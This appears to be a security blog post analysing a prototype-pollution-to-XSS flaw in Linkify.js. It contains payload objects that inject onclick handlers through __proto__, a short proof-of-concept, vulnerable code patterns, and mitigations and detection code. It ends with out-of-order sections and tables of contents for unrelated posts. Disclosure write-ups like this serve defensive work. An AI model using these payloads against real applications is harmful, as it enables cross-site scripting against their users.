At its core, the vulnerability exists in the library's attribute assignment logic. Linkify.js uses a custom assign() helper function that naively copies properties without proper validation:

export default function assign(target, properties) {
  for (const key in properties) {
    target[key] = properties[key];  // Prototype pollution vector
  }
  return target;
}

Prototype Pollution Mechanics

When processing link attributes, the library accepts user-controlled input through the options.attributes object. By providing a specially crafted object with a __proto__ property, an attacker can pollute the prototype of the base Object:

const maliciousOptions = {
  attributes: {
    __proto__: { 
      // These properties will be inherited by all objects
      onclick: 'alert("XSS")',
      onmouseover: 'alert("XSS")',
      // ... other malicious attributes
    }
  }
};

The DOM XSS Chain

Initialization Phase:
- Application initializes Linkify with user-controlled options
- Malicious attributes are merged into the prototype chain
DOM Injection:
- When links are rendered, they inherit the polluted prototype
- Event handlers are automatically bound through the prototype chain
- No direct assignment of malicious code is visible in the DOM

Advanced Exploitation Vectors

Stored XSS via API Endpoints

// Backend API handler (vulnerable)
app.post('/api/comment', (req, res) => {
  const { content } = req.body;
  // Process content with vulnerable Linkify version
  const processed = linkifyHtml(content, req.user.preferences);
  saveToDatabase(processed);  // Stored XSS
});

Reflected XSS via URL Parameters

// Client-side rendering (vulnerable)
const params = new URLSearchParams(window.location.search);
const userContent = params.get('search');
document.body.innerHTML = linkifyHtml(userContent);

Bypassing Traditional Protections

Content Security Policy (CSP):
- Many CSP implementations allow 'unsafe-inline' for event handlers
- Even with strict CSP, javascript: URIs might be allowed for navigation
Input Sanitization:
- Most HTML sanitizers don't catch prototype pollution
- The attack happens at the JavaScript level, not in the HTML

Mitigation Strategies

Immediate Actions

Upgrade to Linkify.js 4.3.2+
```
npm install linkifyjs@latest
```

Temporary Workarounds

// Safe wrapper function
function safeLinkify(text, options = {}) {
  // Remove __proto__ and constructor from options
  const safeOptions = JSON.parse(JSON.stringify(options));
  return linkifyHtml(text, safeOptions);
}

Secure Implementation Patterns

Input Validation

function validateAttributes(attrs) {
  const safeAttrs = {};
  const ALLOWED_ATTRS = ['class', 'target', 'rel', 'title'];
  
  for (const [key, value] of Object.entries(attrs)) {
    if (ALLOWED_ATTRS.includes(key)) {
      safeAttrs[key] = value;
    }
  }
  return safeAttrs;
}

Deep Object Freezing

Object.freeze() is a powerful JavaScript method that prevents modifications to an object. When applied, it:

Makes the object immutable (can't add, remove, or modify properties)
Prevents changes to property descriptors
Makes the object's prototype immutable

// Basic usage
const config = { apiKey: '123' };
Object.freeze(config);

config.apiKey = 'hacked'; // Fails silently in non-strict mode
delete config.apiKey;     // Fails
config.newProp = 'test';  // Fails

For nested objects, we need a recursive solution:

function deepFreeze(object) {
  // Freeze the object itself
  Object.freeze(object);
  
  // Handle null/undefined and non-objects
  if (object === null || typeof object !== 'object') {
    return object;
  }
  
  // Freeze all properties
  Object.getOwnPropertyNames(object).forEach(prop => {
    const value = object[prop];
    // Recursively freeze objects and functions, but skip already frozen objects
    if (!Object.isFrozen(value) && (value instanceof Object)) {
      deepFreeze(value);
    }
  });
  
  return object;
}

// Usage in Linkify.js context
const safeOptions = deepFreeze({
  attributes: {
    // ... your attributes
  }
});

This pattern is particularly effective against prototype pollution because:

It prevents modifications to the prototype chain
It makes the object's structure immutable
It fails loudly in strict mode when someone tries to modify it

For more in-depth information, refer to the MDN documentation on Object.freeze().

Important Note: While Object.freeze() is powerful, it only provides shallow immutability by default. Always use deep freezing for complex objects to ensure complete protection.

Detection & Response

Identifying Vulnerable Implementations

// Detection script
const isVulnerable = (() => {
  try {
    const test = {};
    linkifyHtml('test', {
      attributes: {
        __proto__: { test: 1 }
      }
    });
    return ({}).test === 1;
  } catch (e) {
    return false;
  }
})();

Log Analysis Patterns

Look for suspicious patterns in logs:

Unusual __proto__ properties in attribute objects
Unexpected event handlers in linkify operations
Multiple failed attempts with different attribute combinations

Conclusion

This vulnerability demonstrates the dangers of prototype pollution in JavaScript libraries and the importance of proper input validation. The impact is particularly severe given Linkify.js's widespread use in content management systems, forums, and social platforms.

References

When Linkify later sets link attributes, it blindly copies all enumerable keys, including inherited ones:

for (const attr in attributes) {
  element.setAttribute(attr, attributes[attr]);
}

Exploit PoC

import linkifyHtml from 'linkify-html';

const opts = {
  attributes: {
    __proto__: {
      onclick: "alert('XSS via prototype pollution')"
    }
  }
};

console.log(
  linkifyHtml('victim.com', opts)
);

Result: every generated <a> tag gets an onclick that pops XSS.

Impact

Stored/Reflected XSS in any app using vulnerable Linkify.js
Affects all platforms (browser/Node.js)
CVE reserved: CVE-2025-8101

caverav

CTFs Are Not Dead, They’re Just Growing Up

TL;DR

The “LLM killed CTFs” take

Low-level CTFs were never about the leaderboard

The real shift: high-end CTFs are becoming research problems

LLMs as tools, not replacements

This might actually be good for security research

The skill gap will widen

So… are CTFs dead?

Final thoughts

References

CVE-2026-0540: How a CTF Detour Led Us to a DOMPurify mXSS - Daft

TL;DR

How We Found It

Why This Happened In DOMPurify

Reproducing The Behavior

Fuzzing The Wrappers

Advisory Evidence

PoC Video

XSS Triggered

What DOMPurify's Docs And Threat Model Say

The Patch Was Not One Commit

References

CVE-2025-15265: Svelte Hydratable Key SSR XSS - Lydian

TL;DR

Why This Matters

The Vulnerable Code Path

Reproducing The Bug

Conditions Required For Exploitation

Root Cause

The Fix In 5.46.4

Impact

Timeline

References

CVE-2025-67635: Unauthenticated DoS in the Jenkins CLI full-duplex endpoint

TL;DR

What the endpoint does

Root cause #1 - unsynchronized session registry (race condition)

Root cause #2 - missing protocol timeouts (deterministic hang)

Exploitation notes

PoC: racecond_a.py (HashMap race, two downloads per UUID)

PoC: racecond_b.py (protocol abandonment, deterministic hang)

Evidence

Impact

Patch details (core commit efa1816)

CVE and advisory references

Fix and hardening

Indicators of compromise

CVE-2025-9624: Nested Boolean/Disjunction Asymmetric DoS in Amazon's OpenSearch query_string - Chick

TL;DR

Background: OpenSearch, query_string and Clause Limits

The Vulnerable Design

Per-node limits, global problem

Asymmetric DoS in practice

Building the Query Bomb

Reproducing the Issue

Demo (video)

Impact Assessment

Root Cause

The Fix: search.query.max_query_string_length

Defensive Recommendations

Disclosure Timeline

References

The Obsolescence of SSL Pinning in Mobile App Security

TL;DR

Introduction

What Is SSL Pinning in Mobile Apps?

Original Benefits and Motivations for SSL Pinning

Why SSL Pinning Is No Longer Recommended

Fragility and Risk of Outages

High Maintenance Overhead

Limited Security Benefits (and False Sense of Security)

No Protection Against CA Ecosystem Improvements

Misuse and Implementation Pitfalls

Interference with Debugging, Testing, and User Environments

Modern Best Practices for Securing Mobile HTTPS Communications

1. Rely on the Built-in PKI and Trust Stores

2. Enable Certificate Transparency (CT) and Monitoring

3. Use HSTS and Secure Server Configurations

The Fix: `search.query.max_query_string_length`